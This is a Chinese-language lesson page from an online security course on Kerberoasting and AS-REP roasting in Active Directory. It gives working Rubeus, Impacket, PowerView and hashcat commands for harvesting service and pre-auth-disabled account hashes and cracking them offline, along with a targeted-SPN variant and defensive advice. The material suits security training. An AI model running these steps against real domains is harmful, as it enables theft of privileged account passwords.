Cyber Security Academy · 课时

Kerberoasting 与 AS-REP Roasting

请求 Kerberos 服务票据,并使用 Hashcat 在离线环境中破解它们。

第 3 / 4 课13 个步骤

Kerberoasting 与 AS-REP Roasting 是 CoddyKit 上的免费 Cyber Security Academy 课时。 这是第 3 节课,共 4 节。 你可以在下方免费阅读本课时的完整内容 — 然后在浏览器中使用内置代码编辑器和全天候 AI 导师进行实践。 这是 Cyber Security Academy 学习路径的一部分,你的进度在网页和 CoddyKit 应用中同步。 Cyber Security Academy 课程共包含 4 节课。

Kerberos 票据加密

服务票据使用服务账户的密码哈希进行加密。任何域用户都可以为任意 SPN 请求服务票据。如果服务账户的密码较弱,就可以在离线状态下破解该票据。

什么是 Kerberos 票据烘焙攻击

Kerberos 票据烘焙攻击会为具有服务主体名称(SPN)的账户请求服务票据,提取加密票据,然后使用 Hashcat 在离线状态下破解。无需提升权限,任何域用户都可以执行此操作。

# Steps:
# 1. Find accounts with SPNs
# 2. Request their service tickets
# 3. Extract ticket hashes
# 4. Crack with Hashcat

查找 SPN

可以使用 PowerView、Impacket 或原生 AD 工具枚举所有具有 SPN 的服务账户。SPN 将服务账户与其服务关联起来。

# PowerView (Windows)
Get-DomainUser -SPN
Get-NetUser -SPN | select name,serviceprincipalname

# Impacket (Linux)
GetUserSPNs.py CORP/user:pass@dc.corp.com

# Native LDAP query
ldapsearch -H ldap://dc -b "DC=corp,DC=com" \
  "(servicePrincipalName=*)" cn servicePrincipalName

请求并提取票据

Rubeus(Windows)和 Impacket 的 GetUserSPNs(Linux)都可以请求票据,并以可破解的格式输出票据。

# Rubeus (Windows)
Rubeus.exe kerberoast /format:hashcat /output:hashes.txt

# Impacket (Linux)
GetUserSPNs.py CORP/user:pass@dc.corp.com \
  -request -outputfile hashes.txt

使用 Hashcat 破解

Kerberos 票据烘焙哈希使用模式 13100(Kerberos 5 TGS-REP)。请使用包含规则的高质量字典,以获得最大破解效果。

# Crack TGS-REP hashes
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

# With rules for better coverage
hashcat -m 13100 hashes.txt rockyou.txt -r best64.rule

# AES tickets: mode 19700 (AES128) or 19800 (AES256)

什么是 AS-REP 烘焙攻击

AS-REP 烘焙攻击的目标是启用了不要求 Kerberos 预身份验证的账户。身份验证服务器会返回使用用户哈希加密的 TGT;攻击者无需知道密码即可请求该票据,并在离线状态下破解。

查找已禁用预身份验证的账户

未启用预身份验证的账户属于错误配置,通常是旧版应用遗留下来的。可以使用 PowerView 或 GetNPUsers 枚举这些账户。

# PowerView
Get-DomainUser -PreauthNotRequired

# Impacket GetNPUsers (no password needed!)
GetNPUsers.py CORP/ -usersfile users.txt \
  -dc-ip dc.corp.com -format hashcat -outputfile asrep.txt

# Rubeus
Rubeus.exe asreproast /format:hashcat /output:asrep.txt

破解 AS-REP 哈希

AS-REP 哈希使用 Hashcat 模式 18200。破解过程与 Kerberos 票据烘焙攻击相同,即针对加密的身份验证服务器响应执行离线字典攻击。

# Crack AS-REP hashes
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

# With rules:
hashcat -m 18200 asrep.txt rockyou.txt -r best64.rule

影响评估

被破解的服务账户密码通常拥有较高权限——运行数据库、备份软件或邮件系统的服务账户可能是域管理员。AS-REP 账户经常被忽视,安全防护也通常较弱。

定向 Kerberos 票据烘焙攻击

如果您对某个对象拥有写入权限,就可以暂时为高价值账户添加 SPN,对其执行 Kerberos 票据烘焙攻击,破解哈希,然后移除 SPN,从而按需针对特定账户。

防御措施

防御 Kerberos 票据烘焙攻击:为服务账户使用长度至少为 25 个字符的随机长密码;更好的做法是使用组托管服务账户(gMSA),其密码会自动轮换且长度为 120 个字符。防御 AS-REP 烘焙攻击:为所有账户启用预身份验证。

快速检查

AS-REP 烘焙攻击需要账户具有什么属性?

总结:Kerberos 票据烘焙攻击与 AS-REP 烘焙攻击

这两种攻击都利用 Kerberos 票据加密的弱点,在不触发账户锁定的情况下离线破解密码。Kerberos 票据烘焙攻击针对具有 SPN 的账户(任何域用户都可以执行);AS-REP 烘焙攻击针对未启用预身份验证的账户(无需凭据)。应使用 gMSA 保护服务账户,并为所有用户强制启用预身份验证。

免费开始

用 AI 导师学习 Cyber Security Academy — 免费

在浏览器中编写并运行真实代码,获得全天候 AI 导师的即时帮助,并在网页或应用中继续学习。

课程
76
课程
303

常见问题解答

「Kerberoasting 与 AS-REP Roasting」课时是免费的吗?

是的 — 「Kerberoasting 与 AS-REP Roasting」的完整文本可在网页上免费阅读。要进行交互式练习(内置代码编辑器和全天候 AI 导师)并解锁 Cyber Security Academy 课程的其余内容,请升级到 CoddyKit PRO。 Cyber Security Academy 课程共包含 4 节课。

「Kerberoasting 与 AS-REP Roasting」这节课中我会学到什么?

请求 Kerberos 服务票据,并使用 Hashcat 在离线环境中破解它们。 你通过在浏览器中直接运行的动手代码来练习 Cyber Security Academy,全天候 AI 导师会在你学习这节课的过程中回答你的问题。

学习 Cyber Security Academy 需要有经验吗?

无需任何先前经验。CoddyKit 上的 Cyber Security Academy 课程适合初学者到高级学习者,你可以从这里开始或从头开始,按照自己的节奏学习。 这是第 3 节课,共 4 节。

「Kerberoasting 与 AS-REP Roasting」课时需要多长时间?

大多数 CoddyKit 课程大约需要 5–10 分钟。每节课都很精短且互动,所以你能稳步进步,并在网页和应用中从离开的地方继续。

我能在这节 Cyber Security Academy 课中编写并运行代码吗?

能。每节 Cyber Security Academy 课都包含内置代码编辑器,你可以在浏览器中直接编写并运行真实代码,并获得即时 AI 反馈 — 无需本地设置。

此课程中的所有课时

  1. Windows 身份验证:NTLM 与 Kerberos
  2. 哈希传递与票据传递攻击
  3. Kerberoasting 与 AS-REP Roasting
  4. Active Directory 加固
← 返回 Cyber Security Academy